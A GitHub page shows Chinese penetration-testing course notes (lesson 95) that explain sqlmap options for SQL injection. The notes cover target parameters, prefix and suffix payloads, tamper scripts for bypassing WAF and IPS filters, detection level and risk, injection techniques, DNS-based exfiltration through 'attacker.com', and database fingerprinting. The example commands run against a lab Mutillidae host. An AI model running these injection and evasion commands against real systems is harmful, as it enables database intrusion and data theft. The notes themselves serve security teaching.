-
Notifications
You must be signed in to change notification settings - Fork 23
/
课时95 SQLMAP自动注入-INHECTION、DETECTION、TECHNIQUES、FINGERPRINT.txt
executable file
·110 lines (95 loc) · 3.5 KB
/
课时95 SQLMAP自动注入-INHECTION、DETECTION、TECHNIQUES、FINGERPRINT.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
课时95 SQLMAP自动注入-INHECTION、DETECTION、TECHNIQUES、FINGERPRINT
SQLMAP自动注入04-----INJECTION
-p
指定扫描的参数,使--level失效
-p "user-agent,referer"
--skip
排除指定的扫描参数
--level=5 --skip="id,user-agent"
URI注入点
sqlmap -u "http://targeturl/param1/value1*/param2/value2/"
root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --dbs
SQLMAP自动注入04-----INJECTION
--dbms
MySQL<5.0>
Oracle<11i>
Microsoft SQL Server<2005>
PostgreSQL
Microsoft Access
SQLite
Firebird
Sysbase
SAP MaxDB
DBS
SQLMAP自动注入04-----INJECTION
--os
Linux
Windows
--invalid-bignum / --invalid-logical
通常sqlmap使用负值参数取值失效id=13->id=-13
bignum使用大数使参数值失效id=99999999
Logical使用布尔判断取值失效id=13 AND 18=19
--no-cast
榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换NULL结果
老版本mysql数据库需要开启此开关
SQLMAP自动注入04-----INJECTION
--no-escape
出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmaps使用
char()编码逃逸的方法替换字符串
SELECT 'foo'->SELECT CHAR(102)+CHAR(111)+CHAR(111)
本参数讲关闭此功能
--prefix / --suffix
query="SELECT * FROM user WHERE id=('",$_GET['id',"')LIMIT 0,1";
sqlmap -u
"http://192.168.136.1.121/sqlmap/sysql/get_str_brackets.php?id=1" -p id--
prefix"')" --suffix "AND('abc'='abc"
query="SELECT * FROM users WHERE id=('1') <PAYLOAD> AND
('adc'='abc')LIMIT 0,1";
SQLMAP自动注入04-----INJECTION
--tamper
混淆脚本,用于绕过应用层过滤、IPS、WAF
sqlmap -u "http://1.1.1.1/a.php?id=1"--
tamper="tamper/benween.py,tamper/randomcase.py,tamper/space2comment.py" -v 3
root@R:~# dpkg -L sqlmap | grep tamper
root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" --dbs
SQLMAP自动注入05-----DETECTION
--level
1-5级(默认 1)
/usr/share/sqlmap/xml/payloads
--risk
1-4(默认 1/无害)
Risk升高可造成数据被篡改等风险(update)
--string,--not-string,--regexp,--code,--text-only,--titles
页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但有
些页面随时间阈值变化,此时需要人为指定标识真假的字符串,
root@R:~# cd /usr/share/sqlmap/xml/payloads
root@R:/usr/share/sqlmap/xml/payloads# ls
01_boolean_blind.xml 02_error_based.xml 03_inline_query.xml 04_stacked_queries.xml
05_time_blind.xml 06_union_query.xml
SQLMAP自动注入06-----TECHNIQUES
默认使用全部技术
B:Boolean-based blind
E:Error-based
U:Union query-based
S:Stacked queries(文件系统、操作系统,注册表必须)
T:Time-based blind
SQLMAP自动注入06-----TECHNIQUES
--time-sec
基于时间的注入检测响应延迟时间
--union-cols
默认联合查询1-10列,随--level增加最多支持50列
--union-cols 6-9
--union-char
联合查询默认使用NULL,极端情况下NULL可能失败,此时可以手动执行数值
--union-char 123
SQLMAP自动注入06-----TECHNIQUES
--dns-domain
攻击者控制了某DNS服务器,使用此功能可以提高数据榨取的速度
--dns-domain attacker.com
--second-order
在一个页面注入的结果,从另一个页面体现出来
--second-order http://1.1.1.1/b.php
SQLMAP自动注入07-----FINGERPRINT
-f,--fingerprint,-b,--banner
数据库管理系统指纹信息
DBMS,操作系统,架构,补丁